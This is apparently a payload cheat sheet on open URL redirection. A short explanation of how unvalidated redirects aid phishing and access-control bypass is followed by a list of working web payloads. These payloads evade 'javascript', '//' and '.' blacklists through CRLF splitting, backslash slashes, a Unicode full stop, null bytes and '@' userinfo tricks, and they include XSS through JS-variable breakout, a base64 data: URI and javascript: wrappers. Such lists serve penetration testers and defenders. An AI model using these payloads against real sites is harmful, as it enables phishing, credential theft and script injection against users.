# Open URL Redirection
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.	

## Exploits

Using CRLF to bypass "javascript" blacklisted keyword
```
java%0d%0ascript%0d%0a:alert(0)
```

Using "//" to bypass "http" blacklisted keyword
```
//google.com
```

Using "https:" to bypass "//" blacklisted keyword
```
https:google.com
```

Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)
```
\/\/google.com/
/\/google.com/ 
```


Using "%E3%80%82" to bypass "." blacklisted character
```
//google%E3%80%82com
```


Using null byte "%00" to bypass blacklist filter
```
//google%00.com
```

Using "@" character, browser will redirect to anything after the "@"
```
http://www.theirsite.com@yoursite.com/
```

Creating folder as their domain
```
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
```


XSS from Open URL - If it's in a JS variable
```
";alert(0);//
```

XSS from data:// wrapper
```
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
```

XSS from javascript:// wrapper
```
http://www.example.com/redirect.php?url=javascript:prompt(1)
```


## Thanks to
* filedescriptor
* https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet